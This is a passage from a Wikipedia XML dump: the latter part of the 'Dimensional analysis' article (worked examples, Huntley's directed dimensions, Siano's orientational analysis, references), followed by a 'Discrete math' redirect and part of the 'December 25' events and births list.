Dimensional symbols, such as ''L'', form a [[Group (mathematics)|group]]:  there is an identity, &lt;math&gt;L^0=1&lt;/math&gt;; there is an inverse to ''L'', which is 1/''L'', and ''L'' raised to any rational power ''p'' is a member of the group, having an inverse of 1/''L'' raised to the power ''p''.  The operation of the group is multiplication, with the usual rules for handling exponents.

In the most primitive form, dimensional analysis may be used to check the correctness of physical equations:  the two sides of any equation must have the same dimensions, i.e., the equation must be dimensionally homogeneous. As a corollary of this requirement, it follows that in a physically meaningful expression, only quantities of the same dimension can be added or subtracted. For example, the mass of a rat and the mass of a flea may be added, but the mass of a flea  and the length of a rat cannot be added.  As a further corollary, scalar arguments to [[Exponential function|exponential]], [[Trigonometric function|trigonometric]] and [[logarithm]]ic functions must be [[dimensionless number]]s.   The logarithm of 3 kg is undefined, but the logarithm of 3 is nearly 0.477. This is essentially due to the requirement for the [[Taylor expansion]] of these functions to be dimensionally homogeneous, which means that the square of the argument must be of the same dimension as the argument itself. For scalar arguments, this means the argument must be dimensionless, but certain dimensioned tensors are dimensionally self-square (Hart, 1995) and may be used as arguments to these functions. The magnitudes of variables having different dimensions cannot be compared to one another either, or used in inequalities: 3 m &gt; 1 g is not correct, nor is it a meaningful expression.

The value of a dimensional physical quantity is written as the product of a unit within the dimension and a dimensionless numerical factor.   Strictly, when like dimensioned quantities are added or subtracted or compared, these dimensioned quantities must be expressed in consistent units so that the numerical values of these quantities may be directly added or subtracted.  There is no problem adding quantities of the same dimension expressed in different units as long as a conversion factor is used to bring them into the same units.

=== A simple example===
What is the period of oscillation &lt;math&gt;T&lt;/math&gt; of a mass &lt;math&gt;m&lt;/math&gt; attached to an ideal linear spring with spring constant &lt;math&gt;k&lt;/math&gt; suspended in gravity of strength &lt;math&gt;g&lt;/math&gt;?
The four quantities have the following dimensions:  &lt;math&gt;T&lt;/math&gt;  [T];  &lt;math&gt;m&lt;/math&gt;  [M]; &lt;math&gt;k&lt;/math&gt; [M/T^2]; and  &lt;math&gt;g&lt;/math&gt; [L/T^2]. From these we can form only one dimensionless product of powers of our chosen variables, &lt;math&gt;G_1&lt;/math&gt; = &lt;math&gt;T^2 k/m&lt;/math&gt;.  The dimensionless product of powers of variables is sometimes referred to as a dimensionless group of variables, but the group, &lt;math&gt;G_1&lt;/math&gt;, referred to means &quot;collection&quot; rather than mathematical [[Group (mathematics)|group]].  They are often called [[dimensionless numbers]] as well.

Note that no other dimensionless product of powers involving &lt;math&gt;g&lt;/math&gt; with k,m, T, and g alone can be formed, because only g involves L . Dimensional analysis can sometimes yield strong statements about the ''irrelevance'' of some quantities in a problem, or the need for additional parameters. If we have chosen enough variables to properly describe the problem, then from this argument we can conlude that the period of the mass on the spring is independent of ''g'': it is the same on the earth or the moon. The equation demonstrating the existence of a product of powers for our problem can be written in an entirely equivalent way:  &lt;math&gt;T = \kappa \sqrt{m/k}&lt;/math&gt;, for some dimensionless constant &lt;math&gt;\kappa&lt;/math&gt;.

When faced with a case where our analysis rejects a variable (g, here) that we feel sure really belongs in a physical description of the situation, we might also consider the possibility that the rejected variable is in fact relevant, and that some other relevant variable has been omitted, which might combine with the rejected variable to form a dimensionless quantity. That is, however, not the case here.

When dimensional analysis yields a solution of problems where only one dimensionless product of powers is involved, as here, there are no unknown functions, and the solution is said to be &quot;complete.&quot;

===A more complex example===
Consider the case of a vibrating wire of length l [&lt;math&gt;L&lt;/math&gt;] vibrating with an amplitude A [&lt;math&gt;L&lt;/math&gt;].  The wire has a linear density of ρ [&lt;math&gt;M/L&lt;/math&gt;] and is under tension s [&lt;math&gt;ML/T^2&lt;/math&gt;], and we want to know the energy, E, in the wire.  Now we can easily find that we can form two dimensionless products of powers of the variables chosen.  &lt;math&gt;\pi_1 = E/As&lt;/math&gt;, and &lt;math&gt;\pi_2 = l/A&lt;/math&gt;.  Perhaps surprisingly, like the g in the simple example given above, the linear density of the wire is not involved in either.  
The two groups found can be combined into an equivalent form as an equation 

:&lt;math&gt;F (E/As, l/A) = 0&lt;/math&gt;,

where F is some unknown function, or, equivalently as

:&lt;math&gt;E = A s f(l/A) &lt;/math&gt;, 

where f is some other unknown function.  Here the unknown function implies that our solution is now incomplete, but dimensional analysis has given us something that may not have been obvious:  The energy is proportional to the first power of the tension.  Barring further analytical analysis, we might proceed to experiments to discover the form for the unknown function f.  But our experiments are simpler than in the absence of dimensional analysis.  We'd perform none to verify that the energy is proportional to the tension.  Or perhaps we might guess that the Energy is proportional to l, and so infer that &lt;math&gt;E = l s&lt;/math&gt;.  The power of dimensional analysis as an aid to experiment and forming hypotheses becomes evident.

The power of dimensional analysis really becomes apparent when it is applied to situations, unlike those given above, that are more complicated, the set of variables involved are not apparent, and the underlying equations hopelessly complex.  Consider for example, a small pebble sitting on the bed of a river.  If the river flows fast enough, it will actually raise the pebble and cause it to flow along with the water.  At what critical velocity will this occur?  Sorting out the guessed variables is not so easy as before.  But dimensional analysis can be a powerful aid in understanding problems like this, and is usually the very first tool to be applied to complex problems where the underlying equations and constraints are poorly understood.

==  Huntley's addition ==
Huntley (Huntley, 1967) has claimed that it is sometimes productive to refine our concept of dimension. Two possible refinements are:

* The magnitude of the components of a vector are to be considered dimensionally distinct. For example, rather than an undifferentiated length unit ''L'', we may have &lt;math&gt;L_x&lt;/math&gt; represent length in the ''x'' direction, and so forth. This requirement stems ultimately from the requirement that each component of a physically meaningful equation (scalar, vector, or tensor) must be dimensionally consistent.

* Mass as a measure of quantity is to be considered dimensionally distinct from mass as a measure of inertia.

As an example of the usefulness of the first refinement, suppose we wish to calculate the distance a cannon ball travels when fired with a vertical velocity component &lt;math&gt;V_y&lt;/math&gt; and a horizontal velocity component &lt;math&gt;V_x&lt;/math&gt;, assuming it is fired on a flat surface. Assuming no use of directed lengths, the quantities of interest are then &lt;math&gt;V_x&lt;/math&gt;, &lt;math&gt;V_y&lt;/math&gt;, both dimensioned as &lt;math&gt;L/T&lt;/math&gt;, ''R'', the distance travelled, having dimension ''L'', and ''g'' the downward acceleration of gravity, with dimension &lt;math&gt;L/T^2&lt;/math&gt;

With these four quantities, we may conclude that the equation for the range ''R'' may be written:

:&lt;math&gt;R \propto V_x^a\,V_y^b\,g^c\,&lt;/math&gt;

Or dimensionally

:&lt;math&gt;L = (L/T)^{a+b} (L/T^2)^c\,&lt;/math&gt;

from which we may deduce that &lt;math&gt;a+b+c=1&lt;/math&gt; and &lt;math&gt;a+b+2c=0&lt;/math&gt; which leaves one exponent undetermined. This is to be expected since we have two fundamental quantities ''L'' and ''T'' and four parameters, with one equation.

If, however, we use directed length dimensions, then &lt;math&gt;V_x&lt;/math&gt; will be dimensioned as &lt;math&gt;L_x/T&lt;/math&gt;, &lt;math&gt;V_y&lt;/math&gt; as &lt;math&gt;L_y/T&lt;/math&gt;, ''R'' as &lt;math&gt;L_x&lt;/math&gt; and ''g'' as &lt;math&gt;L_y/T^2&lt;/math&gt;. The dimensional equation becomes:

:&lt;math&gt;L_x = (L_x/T)^a\,(L_y/T)^b (L_y/T^2)^c\,&lt;/math&gt;

and we may solve completely as &lt;math&gt;a=1&lt;/math&gt;, &lt;math&gt;b=1&lt;/math&gt; and &lt;math&gt;c=-1&lt;/math&gt;. The increase in deductive power gained by the use of directed length dimensions seems apparent.

In a similar manner, it is sometimes found useful (e.g., in fluid mechanics and thermodynamics) to distinguish between mass as a measure of inertia (inertial mass), and mass as a measure of quantity (substantial mass). For example, consider the derivation of [[Poiseuille's Law]]. We wish to find the rate of mass flow of a viscous fluid through a circular pipe. Without drawing distinctions between inertial and substantial mass we may choose as the relevant variables

* &lt;math&gt;\dot{m}&lt;/math&gt; the mass flow rate with dimensions &lt;math&gt;M/T&lt;/math&gt;
* &lt;math&gt;p_x&lt;/math&gt; the pressure gradient along the pipe with dimensions &lt;math&gt;M/L^2T^2&lt;/math&gt;
* &lt;math&gt;\rho&lt;/math&gt; the density with dimensions &lt;math&gt;M/L^3&lt;/math&gt;
* &lt;math&gt;\eta&lt;/math&gt; the dynamic fluid viscosity with dimensions &lt;math&gt;M/LT&lt;/math&gt;
* &lt;math&gt;r&lt;/math&gt; the radius of the pipe with dimensions &lt;math&gt;L&lt;/math&gt;

There are three fundamental variables so the above five equations will yield two dimensionless variables which we may take to be &lt;math&gt;\pi_1=\dot{m}/\eta r&lt;/math&gt; and &lt;math&gt;\pi_2=p_x\rho r^5/\dot{m}^2&lt;/math&gt; and we may express the dimensional equation as

:&lt;math&gt;C=\pi_1\pi_2^a=\left(\frac{\dot{m}}{\eta r}\right)\left(\frac{p_x\rho r^5}{\dot{m}^2}\right)^a&lt;/math&gt;

where ''C'' and ''a'' are undetermined constants. If we draw a distinction between inertial mass with dimensions &lt;math&gt;M_i&lt;/math&gt; and substantial mass with dimensions &lt;math&gt;M_s&lt;/math&gt;, then mass flow rate and density will use substantial mass as the mass parameter, while the pressure gradient and coefficient of viscosity will use inertial mass. We now have four fundamental parameters, and one dimensionless constant, so that the dimensional equation may be written:

:&lt;math&gt;C=\frac{p_x\rho r^4}{\eta \dot{m}}&lt;/math&gt;

where now only ''C'' is an undetermined constant (found to be equal to &lt;math&gt;\pi/8&lt;/math&gt; by methods outside of dimensional analysis). This equation may be solved for the mass flow rate to yield [[Poiseuille's law]].

==Dimensionless constants==
The dimensionless constants that arise in the results obtained, such as the C in the Poiseuille's Law problem and the &lt;math&gt;\kappa&lt;/math&gt; in the spring problems discussed above come from a more detailed analysis of the underlying physics, and often arises from integrating some differential equation.  Dimensional analysis itself has little to say about these constants, but it is useful to know that they very often have a magnitude of order unity.  This observation can allow one to sometimes make &quot;back of the envelope&quot; calculations about the phenomenon of interest, and therefore be able to more efficiently design experiments to measure it, or to judge whether it is important, etc.

== Orientational analysis ==
Huntley's addition has some serious drawbacks. It does not deal well with vector equations involving the cross product, nor does it handle well the use of angles as physical variables.  It also is often quite difficult to assign the L, &lt;math&gt;L_x&lt;/math&gt;, &lt;math&gt;L_y&lt;/math&gt;, &lt;math&gt;L_z&lt;/math&gt; symbols to the physical variables involved in the problem of interest.  He invokes a procedure that involves the &quot;symmetry&quot; of the physical problem.  This is often very difficult to apply reliably:  it is unclear as to what parts of the problem that the notion of &quot;symmetry&quot; is being invoked.  Is it the symmetry of the physical body that forces are acting upon, or to the points, lines or areas at which forces are being applied?  What if more than one body is involved with different symmetries?  Consider the spherical bubble attached to a cylindrical tube, where one wants the flow rate of air as a function of the pressure difference in the two parts.  What are the Huntley extended dimensions of the viscosity of the air contained in the connected parts?  What are the extended dimensions of the pressure of the two parts?  Are they the same or different?  These difficulties are responsible for the limited application of Huntley's addition to real problems.

Angles are conventionally considered to be dimensionless variables, and so the use of angles as physical variables in dimensional analysis can give less meaningful results. As an example, consider the projectile problem mentioned above. Suppose that, instead of the x-  and y-component of the initial velocity, we had chosen the magnitude of the velocity ''v'' and the angle &lt;math&gt;\theta&lt;/math&gt; at which the projectile was fired. The angle is conventionally considered to be dimensionless, and the magnitude of a vector has no directional quality, so that no dimensionless variable can be composed of the four variables ''g'', ''v'', ''R'', and &amp;theta;. Conventional analysis will correctly give the powers of g and v, but will give no information concerning the dimensionless angle &amp;theta;.

Siano (Siano, 1985-I, 1985-II) has suggested that the directed dimensions of Huntley be replaced by using ''orientational symbols'' &lt;math&gt;1_x,\;1_y,\;1_z&lt;/math&gt;to denote vector directions, and an orientationless symbol &lt;math&gt;1_0\,&lt;/math&gt;. Thus, Huntley's &lt;math&gt;L_x&lt;/math&gt; becomes &lt;math&gt;L\,1_x&lt;/math&gt; with ''L''&amp;nbsp; specifying the dimension of length, and &lt;math&gt;1_x&lt;/math&gt; specifying the orientation. Siano further shows that the orientational symbols have an algebra of their own.  Along with the requirement that &lt;math&gt;1_i^{-1}=1_i&lt;/math&gt;, the following multiplication table for the orientation symbols results:

:&lt;math&gt;
\begin{matrix}
   &amp;\mathbf{1_0}&amp;\mathbf{1_x}&amp;\mathbf{1_y}&amp;\mathbf{1_z}\\
\mathbf{1_0}&amp;1_0&amp;1_x&amp;1_y&amp;1_z\\
\mathbf{1_x}&amp;1_x&amp;1_0&amp;1_z&amp;1_y\\
\mathbf{1_y}&amp;1_y&amp;1_z&amp;1_0&amp;1_x\\
\mathbf{1_z}&amp;1_z&amp;1_y&amp;1_x&amp;1_0
\end{matrix}
&lt;/math&gt;

Note that the orientational symbols form a group (the [[Klein four-group]] or &quot;viergruppe&quot;). In this system, scalars always have the same orientation as the identity element, independent of the &quot;symmetry of the problem.&quot;  Physical quantities that are vectors have the orientation expected:  a force or a velocity in the x-direction has the orientation of &lt;math&gt;1_x&lt;/math&gt;.  For angles, consider an angle &amp;theta; that lies in the z plane.  Form a right triangle in the z plane with &amp;theta; being one of the acute angles.  The side of the right triangle adjacent to the angle then has an orientation &lt;math&gt;1_x&lt;/math&gt; and the side opposite has an orientation &lt;math&gt;1_y&lt;/math&gt;.  Then, since tan(&amp;theta;) = ly/lx = &amp;theta; + ... we conclude that an angle in the xy plane must have an orientation &lt;math&gt;1_y&lt;/math&gt;/&lt;math&gt;1_x&lt;/math&gt; = &lt;math&gt;1_z&lt;/math&gt;, which is not unreasonable.  Analogous reasoning forces the conclusion that sin(&amp;theta;) has orientation &lt;math&gt;1_z&lt;/math&gt; while cos(&amp;theta;) has orientation &lt;math&gt;1_0&lt;/math&gt;.  These are different, so one concludes (correctly), for example, that there are no solutions of physical equations that are of the form a sin(&amp;theta;) + b cos(&amp;theta;), where a and b are scalars.

The assignment of orientational symbols to physical quantities and the requirement that physical equations be orientationally homogeneous can actually be used in a way that is similar to dimensional analysis to derive a little more information about acceptable solutions of physical problems.  In this approach one sets up the dimensional equation and solves it as far as one can.  If the lowest power of a physical variable is fractional, both sides of the solution is raised to a power such that all powers are integral.  This puts it into &quot;normal form&quot;.  The orientational equation is then solved to give a more restrictive condition on the unknown powers of the orientational symbols, arriving at a solution that is more complete than the one that dimensional analysis alone gives. Often the added information is that one of the powers of a certain variable is even or odd.

As an example, for the projectile problem, using orientational symbols, &amp;theta;, being in the x-y plane will thus have dimension &lt;math&gt;1_z&lt;/math&gt; and the range of the projectile ''R'' will be of the form:

:&lt;math&gt;R=g^a\,v^b\,\theta^c&lt;/math&gt; which means &lt;math&gt;L\,1_x\sim
\left(\frac{L\,1_y}{T^2}\right)^a\left(\frac{L}{T}\right)^b\,1_z^c&lt;/math&gt;

Dimensional homogeneity will now correctly yield ''a''=-1 and ''b''=2, and orientational homogeneity requires that ''c'' be an odd integer. In fact the required function of theta will be &lt;math&gt;\sin(\theta)\cos(\theta)&lt;/math&gt; which is a series of odd powers of &lt;math&gt;\theta&lt;/math&gt;.

It is seen that the Taylor series of &lt;math&gt;\sin(\theta)&lt;/math&gt; and &lt;math&gt;\cos(\theta)&lt;/math&gt; are orientationally homogeneous using the above multiplication table, while expressions like &lt;math&gt;\cos(\theta)+\sin(\theta)&lt;/math&gt; and &lt;math&gt;\exp(\theta)&lt;/math&gt; are not, and are (correctly) deemed unphysical. 

It should be clear that the multiplication rule used for the orientational symbols is not the same as that for the cross product of two vectors.  The cross product of two identical vectors is zero, while the product of two identical orientational symbols are the identity element.

Ultimately, it can be seen that dimensional analysis and the requirement for physical equations to be dimensionally homogeneous reflects the idea that the laws of physics are independent of the units employed to measure the physical variables.  That is, F=ma, for example, is true whether the unit system used is SI, English, or cgs, or any other consistent system of units.  Orientational analysis and the requirement for physical equations to be orientationally homogeneous reflects the idea that the equations of physics must be independent of the coordinate system used.

==Buckingham π theorem==
The  [[Buckingham π theorem]] forms the basis of the central tool of dimensional analysis. This theorem describes how every physically meaningful equation involving ''n'' variables can be equivalently rewritten as an equation of ''n''&amp;ndash;''m'' dimensionless parameters, where ''m'' is the number of fundamental dimensions used. Furthermore, and most importantly, it provides a method for computing these dimensionless parameters from the given variables, even if the form of the equation is still unknown.

== See also ==
*[[Dirac large numbers hypothesis]]
*[[Fundamental unit]]
*[[Similitude (model)]]
*[[Buckingham Pi theorem]]
*[[Units conversion by factor-label]]

==References==
*{{cite book
 | first = G. I.  | last = Barenblatt | authorlink = Grigory Barenblatt
 | year = 1996
 | title = Scaling, Self-Similarity, and Intermediate Asymptotics
 | publisher = Cambridge University Press
 }}
*{{cite journal
 | last = Boucher
 | coauthors = Alves
 | year = 1960
 | title = Dimensionless Numbers
 | journal = Chem. Eng. Progress
 | volume = 55 | pages = 55-64
 }}
*{{cite book
 | first = P. W. | last = Bridgman | authorlink = Percy Williams Bridgman
 | year = 1937
 | title = Dimensional Analysis | publisher = Yale University Press
 }}
*{{cite journal
 | first = Edgar | last = Buckingham | authorlink = Edgar Buckingham
 | year = 1914
 | title = On Physically Similar Systems: Illustrations of the Use of Dimensional Analysis
 | journal = Phys. Rev.
 | volume = 4 | pages = 345
 }}
*{{ cite book
 | last = Hart | first = George W.
 | month = March 1 | year = 1995
 | title = Multidimensional Analysis: Algebras and Systems for Science and Engineering
 | publisher = Springer-Verlag
 | id = ISBN 0387944176
 | url = http://www.georgehart.com/research/multanal.html
 }}
*{{ cite book
 | last = Huntley | first = H. E.
 | year = 1967
 | title = Dimensional Analysis
 | publisher = Dover
 | id = LOC 67-17978
 }}
*{{cite journal
 | first = A. | last = Klinkenberg
 | year = 1955
 | title = &amp;nbsp;
 | journal = Chem. Eng. Science
 | volume = 4 | pages = 130-140, 167-177 }}
*{{cite book
 | first = H. L. | last = Langhaar
 | year = 1951
 | title = Dimensional Analysis and Theory of Models
 | publisher = Wiley
 }}
*{{cite journal
 | first = L. F. | last = Moody
 | year = 1944
 | title = Friction Factors for Pipe Flow
 | journal = Trans. Am. Soc. Mech. Engrs.
 | volume = 66 | issue = 671
 }}
*{{cite journal
 | first = N. F. | last = Murphy
 | year = 1949
 | title = Dimensional Analysis
 | journal = Bull. V.P.I.
 | volume = 42 | issue = 6
 }}
*{{cite journal
 | first = J. H. | last = Perry
 | coauthors = et. al.
 | year = 1944
 | title = Standard System of Nomenclature for Chemical Engineering Unit Operations
 | journal = Trans. Am. Inst. Chem. Engrs.
 | volume = 40 | issue = 251
 }} 
*{{cite journal
 | first = G. W. | last = Petty
 | year = 2001
 | title = Automated computation and consistency checking of physical dimensions and units in scientific programs.
 | journal = Software - Practice and Experience
 | volume = 31 | pages = 1067-1076
 }} 
*{{cite book
 | first = Alfred W. | last = Porter
 | year = 1933
 | title = The Method of Dimensions
 | publisher = Methuen}}
*{{cite journal
 | last = Lord Rayleigh | authorlink = John William Strutt, 3rd Baron Rayleigh
 | year = 1915
 | title = The Principle of Similitude
 | journal = Nature
 | volume = 95
 | pages = 66-68
 }}
*{{cite journal
 | first = Donald | last = Siano
 | year = 1985
 | title = Orientational Analysis - A Supplement to Dimensional Analysis - I
 | journal = J. Franklin Institute
 | issue = 320 | pages = 267
 }}
*{{cite journal
 | first = Donald | last = Siano
 | year = 1985
 | title = Orientational Analysis, Tensor Analysis and The Group Properties of the SI Supplementary Units - II
 | journal = J. Franklin Institute
 | issue = 320 | pages = 285
 }}
*{{cite journal
 | first = I. H. | last = Silberberg | coauthors = McKetta J. J. Jr.
 | year = 1953
 | title = Learning How to Use Dimensional Analysis
 | journal = Petrol. Refiner
 | volume = 32 | issue = 4 (p.5), 5(p.147), 6(p.101), 7(p.129) }}
*{{cite journal
 | first = E. R. | last = Van Driest
 | year = 1946 | month = March
 | title = On Dimensional Analysis and the Presentation of Data in Fluid Flow Problems
 | journal = J. App. Mech
 | volume = 68 | issue = A-34
 }}

==External links==
* http://www.math.ntnu.no/~hanche/notes/buckingham/buckingham-a4.pdf
* http://www.knowledgedoor.com/1/Unit_Conversion/Dimensional_Analysis.htm
* http://rain.aos.wisc.edu/~gpetty/physunits.html

[[Category:Units of measure]]
[[Category:Procedural knowledge]]
[[Category:Dimensional analysis|*]]

[[ca:Anàlisi dimensional]]
[[de:Dimensionsanalyse]]
[[es:Magnitudes físicas]]
[[fr:Analyse dimensionnelle]]
[[id:Analisis dimensi]]
[[ja:次元解析]]
[[nl:Dimensieanalyse]]
[[pl:Analiza wymiarowa]]
[[sv:Dimensionsanalys]]</text>
    </revision>
  </page>
  <page>
    <title>Discrete math</title>
    <id>8269</id>
    <revision>
      <id>15906278</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Discrete mathematics]]
</text>
    </revision>
  </page>
  <page>
    <title>December 25</title>
    <id>8270</id>
    <revision>
      <id>42091929</id>
      <timestamp>2006-03-03T19:50:29Z</timestamp>
      <contributor>
        <ip>64.157.34.149</ip>
      </contributor>
      <comment>rv Jesus &quot;birth&quot;</comment>
      <text xml:space="preserve">'''[[December 25]]''' is the 359th day of the year (360th in [[leap year]]s) in the [[Gregorian Calendar]], with 6 days remaining. 

{{DecemberCalendar}}

==Events==
*[[274]] - [[Roman Emperor]] [[Aurelian]] has a temple dedicated to [[Sol Invictus]] on the supposed day of the [[solstice]] and day of rebirth of the [[Sun]].
*[[800]] - Coronation of [[Charlemagne]] as [[Holy Roman Emperor]], in [[Rome]].
*[[1066]] - Coronation of [[William the Conqueror]] as king of [[England]], at [[Westminster Abbey]], [[London]].
*[[1223]] - St. [[Francis of Assisi]] assembles the first [[Nativity scene]].
*[[1599]] - The [[city]] of [[Natal, Brazil]] is founded.
*[[1776]] - [[George Washington]] and his [[army]] cross the [[Delaware River]] to attack Britain's [[Hessian]] mercenaries in [[Trenton, New Jersey]]. 
*[[1818]] - The first performance of &quot;[[Silent Night]]&quot; takes place in the Church of St. Nikolaus in [[Oberndorf]], [[Austria]].
*[[1837]] - [[Battle of Okeechobee]]: [[United States]] forces defeat [[Seminole (tribe)|Seminole]] Indians. 
*[[1868]] - [[U.S. President]] [[Andrew Johnson]] grants unconditional pardon to all [[American Civil War|Civil War]] [[Confederate]] soldiers.
*1868 - [[Shogunate]] rebels found [[Ezo Republic]] in [[Hokkaido]].
*[[1914]] - [[World War I]]: Known as the [[Christmas truce]], [[Germany|German]] and [[United Kingdom|British]] troops on the [[Western Front]] temporarily cease fire.
*[[1917]] - ''[[Why Marry?]]'', first dramatic play to win a [[Pulitzer Prize]], opens at the [[Astor Theatre]] in [[New York City]].
*[[1926]] - [[Hirohito]] becomes [[Emperor of Japan]], succeeding the [[Taisho Emperor]].
*[[1932]] - A magnitude 7.6 [[earthquake]] in [[Gansu]], [[China]] kills ~70,000 people.
*[[1939]] - [[Charles Dickens]]' ''[[A Christmas Carol]]'' is read on the [[radio]] for the first time ([[CBS]] radio).
*1939 - ''[[Rudolph the Red-Nosed Reindeer]]'' is introduced by [[Montgomery Ward]] stores.
*[[1941]] - [[World War II]]: [[Battle of Hong Kong]] ends, beginning the [[Japanese Occupation of Hong Kong]].
*[[1947]] - The [[Constitution of the Republic of China]] goes into effect.
*[[1971]] - In the longest game in [[National Football League|NFL]] history (82m40s), the [[Miami Dolphins]] defeat the [[Kansas City Chiefs]].  
*[[1973]] - The [[ARPANET]] crashes when a [[programming]] [[Computer_bug|bug]] causes all ARPANET traffic to be routed through the [[server]] at [[Harvard University]], causing the server to freeze.
*[[1974]] - [[Cyclone Tracy]] devastates [[Darwin, Northern Territory]] [[Australia]].
*1974 - [[Marshall Fields (White House intruder)|Marshall Fields]] drove a vehicle through the gates of the [[White House]], resulting in a four-hour standoff.
*[[1977]] - [[Prime Minister of Israel]] [[Menachem Begin]] meets in [[Egypt]] with [[President of Egypt]] [[Anwar Sadat]].
*[[1987]] - In one of the highest-rated episodes in ''[[Coronation Street]]'' history, [[Hilda Ogden]] leaves her home of 23 years to be a [[char]] to her doctor in the country.
*[[1989]] - [[Nicolae Ceauşescu]], former [[communist]] [[dictator]] of [[Romania]], and his wife [[Elena Ceauşescu|Elena]] are condemned to death and executed under a wide range of charges.
*[[1991]] - [[Mikhail Gorbachev]] resigns as president of the [[Soviet Union]] (the union itself is dissolved the next day).
*[[2002]] - The [[New Delhi Metro]] opens.
*[[2003]] - The ill-fated [[Beagle 2]] probe which was released from the [[Mars Express]] [[Spacecraft]] on [[December 19]], disappears shortly before its scheduled landing.
*[[2004]] - Cassini orbiter releases [[Huygens probe]] which will successfully land on [[Saturn (planet)|Saturn]]'s moon, [[Titan (moon)|Titan]] on [[January 14]], [[2005]].

==Births==
*[[1 BC]] - [[Jesus of Nazareth]] (traditionally observed date and year; see [[Chronology of Jesus#Birth|Chronology of Jesus]]) (d. circa [[33]])
*[[1583]] - [[Orlando Gibbons]], English composer (d. [[1625]])
*[[1628]] - [[Noël Coypel]], French painter (d. [[1707]])
*[[1642]] &lt;small&gt;([[O.S.]])&lt;/small&gt; - [[Isaac Newton|Sir Isaac Newton]], English physicist and mathematician (d. [[1727]])
*[[1652]] - [[Archibald Pitcairne]], Scottish physician (d. [[1713]])
*[[1665]] - [[Lady Grizel Baillie]], Scottish songwriter (d. [[1746]])
*[[1667]] - [[Ehrengard Melusine von der Schulenburg, Duchess of Kendal and Munster]], English royal mistress (d. [[1743]])
*[[1674]] - [[Thomas Halyburton]], Scottish theologian (d. [[1712]])
*[[1700]] - [[Leopold II of Anhalt-Dessau]], Prussian general (d. [[1758]])
*[[1711]] - [[Jean Joseph de Mondonville]], French composer (d. [[1772]])
*[[1716]] - [[Johann Jakob Reiske]], German scholar and physician (d. [[1774]])
*[[1742]] - [[Charlotte von Stein]], German friend of [[Johann Wolfgang von Goethe|Goethe]] (d. [[1827]])
*[[1757]] - [[Benjamin Pierce (governor)|Benjamin Pierce]], U.S. politician (d [[1839]]) 
*[[1763]] - [[Claude Chappe]], French telecommunications pioneer (d. [[1805]])
*[[1771]] - [[Dorothy Wordsworth]], English diarist and sister of [[William Wordsworth]] (d. [[1855]])
*[[1821]] - [[Clara Barton]], founder of the American Red Cross (d. [[1912]])
*[[1856]] - [[Hans von Bartels]], German painter (d. [[1913]])
*[[1861]] - [[Pandit Madan Mohan Malaviya]], Indian founder of Banaras Hindu University (d. [[1946]])
*[[1875]] - [[Theodor Cardinal Innitzer]], Austrian Catholic archbishop (d. [[1955]])
*[[1876]] - [[Muhammad Ali Jinnah]], founder of Pakistan (d. [[1948]])
*1876 - [[Adolf Otto Reinhold Windaus]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1959]])
*[[1878]] - [[Louis Chevrolet]], Swiss-born race car driver and automotive pioneer (d. [[1941]])
*[[1883]] - [[Maurice Utrillo]], French artist  (d. [[1955]])
*[[1884]] - [[Evelyn Nesbit]], American actress (d. [[1967]])
*[[1886]] - [[Kid Ory]], American musician (d. [[1973]])
*[[1887]] - [[Conrad Nicholson Hilton]], American hotelier (d. [[1979]])
*[[1890]] - [[Robert Ripley]], world traveler and collector of odd facts and artifacts (d. [[1949]])
*[[1899]] - [[Humphrey Bogart]], American actor (d. [[1957]])
*[[1901]] - [[Princess Alice, Duchess of Gloucester]] (d. [[2004]])
*[[1904]] - [[Gerhard Herzberg]], German-born chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1999]])
*[[1906]] - Sir [[Lew Grade]], Ukrainian-born film producer (d. [[1998]])
*1906 - [[Ernst Ruska]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1988]])
*[[1907]] - [[Cab Calloway]], American bandleader (d. [[1994]])
*[[1908]] - [[Quentin Crisp]], English author and activist (d. [[1999]])
*[[1912]] - [[Tony Martin (singer)|Tony Martin]], American singer
*1912 - [[Natalino Otto]], Italian singer
*[[1913]] - [[Henri Nannen]], German journalist and publisher (d. [[1966]])
*[[1915]] - [[Pete Rugolo]], Italian-born composer and arranger
*[[1918]] - [[Anwar Sadat]], [[President of Egypt]], recipient of the [[Nobel Peace Prize]] (d. [[1981]])
*[[1924]] - [[Rod Serling]], American television scriptwriter (d. [[1975]])
*1924 - [[Atal Behari Vajpayee]], [[Prime Minister of India]]
*[[1925]] - [[Carlos Castaneda]], Peruvian-born author (d. [[1998]])
*[[1927]] - [[Nellie Fox]], baseball player (d. [[1975]])
*[[1928]] - [[Dick Miller]], American actor
*[[1932]] - [[Mabel King]], American actress (d. [[1999]])
*[[1936]] - [[Princess Alexandra of Kent]]
*1936 - [[Ismail Merchant]], Indian-born film producer (d. [[2005]])
*[[1940]] - [[Pete Brown]], English poet and lyricist
*[[1943]] - [[Hanna Schygulla]], German actress
*[[1944]] - [[Jairzinho]], Brazilian footballer
*[[1945]] - [[Noel Redding]], English bassist ([[The Jimi Hendrix Experience]]) (d. [[2003]])
*1945 - [[Gary Sandy]], American actor
*[[1946]] - [[Jimmy Buffett]], American singer and songwriter
*1946 - [[Larry Csonka]], American football player
*1946 - [[Gene Lamont]], American baseball player and manager
*[[1948]] - [[Barbara Mandrell]], American singer and actress
*[[1949]] - [[Nawaz Sharif]], [[Prime Minister of Pakistan]]
*1949 - [[Sissy Spacek]], American actress
*1949 - [[Joe Louis Walker]], American musician
*[[1950]] - [[Manny Trillo]], baseball player
*1950 - [[Karl Rove]], American presidential advisor
*[[1954]] - [[Annie Lennox]], Scottish singer ([[Eurythmics]])
*[[1957]] - [[Chris Kamara]], English [[Football (soccer)|footballer]] and commentator
*[[1957]] - [[Shane MacGowan]], Irish musician
*[[1958]] - [[Hanford Dixon]], American football player
*1958 - [[Rickey Henderson]], baseball player
*[[1959]] - [[Michael P. Anderson]], astronaut (d. [[2003]])
*[[1961]] - [[Ingrid Betancourt]], Colombian senator
*[[1962]] - [[Dean Cameron]], American actor
*[[1964]] - [[Gary McAllister]], Scottish Footballer
*[[1967]] - [[Jason Thirsk]], American bass player ([[Pennywise]])
*[[1968]] - [[Helena Christensen]], Danish model &amp;amp; actress
*[[1971]] - [[Dido (singer)|Dido]], English singer
